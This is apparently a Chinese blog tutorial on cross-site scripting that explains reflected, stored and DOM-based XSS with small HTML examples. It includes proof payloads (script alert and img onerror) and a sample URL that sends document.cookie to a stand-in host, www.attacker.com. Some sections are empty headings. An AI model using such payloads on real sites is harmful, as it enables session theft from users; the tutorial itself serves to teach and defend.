关于 Xss 攻击的这些事

前言

什么是 Xss 攻击

什么是恶意 JavaScript

1. JavaScript 可以访问用户的一些敏感信息, 比如说: document.cookie。
2. JavaScript 可以通过使用 XMLHttpRequest、fetch 发送网络请求。
3. JavaScript 可以通过使用 Dom Api 对页面进行任意的修改。

恶意 JavaScript 的后果

1. 盗取 cookie: 攻击者通过 document.cookie 获取受害者的 cookie, 将 cookie 信息发送到攻击者的服务器, 然后再进行后面的攻击比如说 csrf, 或者提取其敏感信息。
2. 监听事件: 攻击者通过addEventListener注册键盘输入事件, 然后将受害者所有的输入发送给攻击者, 其中可能包括账号密码等敏感信息。
3. 网站钓鱼: 攻击者通过 Dom 操作, 然后仿造一个一模一样的登陆框覆盖掉之前网站原先的登陆, 并将提交地址指向攻击者服务器, 受害者不知情就直接提交其敏感信息。

Xss 攻击方式

1. 反射型 Xss: 恶意 JavaScript 来自网络请求。
2. 存储型 Xss: 恶意 JavaScript 来自数据库。
3. 基于 Dom: 漏洞存在于前端而不是后端。

反射型 Xss

流程

1. 攻击者制作一个恶意字符串的链接发送给受害者。
2. 受害者被诱骗点击恶意链接, 然后访问该恶意链接进入有漏洞的网站。
3. 网站后端进行处理返回拼接后的 html, html 中包含恶意 JavaScript。
4. 受害者的浏览器接收到响应后解析执行, 混入其中的恶意 JavaScript 也被执行(比方说: 将受害者的 cookie 发送给攻击者)。

• 针对特定的某一个人, 攻击者可以将恶意链接发送给受害者(比如说: 邮箱、短信、消息等)并诱使他去访问。
• 针对一群人, 攻击者可以发布指向恶意链接（比如说: 个人网站、群消息、公告等）并等待访问者点击它。

举个 ???

1. 正常 JavaScript: 假如我们输入q=keywords, 传递给后端的数据就是{ q: 'keywords' }, 这看起来没什么问题。
2. 恶意 JavaScript: 假如我们输入q=<script>alert(1)</script>, 传递给后端的是{ q: '<script>alert(1)</script>' }, 完蛋, 参数是恶意代码, 服务器直接渲染造成 xss 攻击。

1. 第一步: 找到查询参数这个漏洞之后, 我们发现可以制造一个带有恶意 JavaScript 的 URL, 比如说制作一个/search?q=<script> window.location="www.attacker.com?cookie="+document.cookie </script>。
2. 第二步: 然后通过邮箱、广告等方式诱使用户去点击, 访问恶意链接的网站。
3. 第三步: 然后网站后端取出查询关键字, 这里对应的就是<script>...</script>, 然后进行拼接成 html, 然后将 html 返回给浏览器。
4. 第四步: 用户浏览器执行执行<script>...</script>里的内容, 然后就把当前网站的 cookie 发送给攻击者。

<div>关键字: javascript</div>
<div>结果: xxxx</div>

<div>
  关键字:
  <script>
    alert(1);
  </script>
</div>
<div>结果: xxxx</div>

关键点

1. 反射型 Xss 后端不会将恶意 JavaScript 存储在数据库里, 并非是永久的。
2. 反射型 Xss 是利用后端来进行反射, 如果你自己在尝试反射型的 demo 的时候, 一直不成功, 可以看看是不是没有在后端做反射。

存储型 Xss

流程

1. 攻击者提交恶意 JavaScript 发送网络请求, 后端接收到直接插入到数据库中。
2. 受害者进入该网站请求一个页面。
3. 该网站响应体数据中包含攻击者插入数据库的恶意 JavaScript, 然后发送给受害者。
4. 受害者的浏览器执行恶意 JavaScript。

举个 ???

后端返回 JSON 前端渲染

后端返回 html

解释

<ol>
  <li>苹果</li>
  <li>香蕉</li>
</ol>

<ol>
  <li>苹果</li>
  <li>
    <img src="x" onerror="alert(1)" />
  </li>
</ol>

关键点

1. 存储型 Xss 会把恶意 JavaScript 保存到数据库中, 是持久型的
2. 存储型 Xss 后端不会进行反射, 只会在后端生成 html 返回或者后端返回恶意数据 JSON, 前端使用"不可控"的方式渲染

基于 Dom

流程

1. 攻击者制作一个包含恶意字符串的 URL 并将其发送给受害者。
2. 受害者访问恶意字符串的 URL 链接。
3. 受害者浏览器恶意链接网站的响应后解析执行，前端 JavaScript 取出恶意代码并执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站。

举个 ???

<h1 id="keywords"></h1>
<div id="result"></div>

<script>
  const query = new URLSearchParams(location.search.slice(1));
  const keywords = document.getElementById('keywords');

  keywords.innerHTML = `关键字: ${query.get('keywords')}`;
</script>

<div>关键字: javascript</div>
<div>结果: xxxx</div>

<div>
  关键字:
  <script>
    alert(1);
  </script>
</div>
<div>结果: xxxx</div>

尽管这看上去像xss攻击，并不会对页面造成什么影响。但是HTML5 中指定不执行由 innerHTML 插入的 <script>标签。

<div>关键字<img src="x" onerror="alert(1)" /></div>
<div>结果: xxxx</div>

区别

• 传统的 xss 攻击中, 后端将恶意代码作为 html 的一部分返回给浏览器, 在页面加载时正常执行。
• 基于 Dom 的 xss 攻击中, 由于页面的合法 JavaScript 以不安全的方式处理用户的输入, 因此会在页面加载完后的某一个时刻执行恶意脚本。

出现的意义是什么?

写后感

参考资料

1. Web Security - A7 . Cross-Site Scripting (XSS) - 上篇
2. What is XSS (Cross-site Scripting)?
3. DOM Based Cross Site Scripting or XSS of the Third Kind
4. Cross Site Scripting
5. Excess XSS
6. PostSwigger Cross-site scripting
7. OWASP Cheat Sheet Series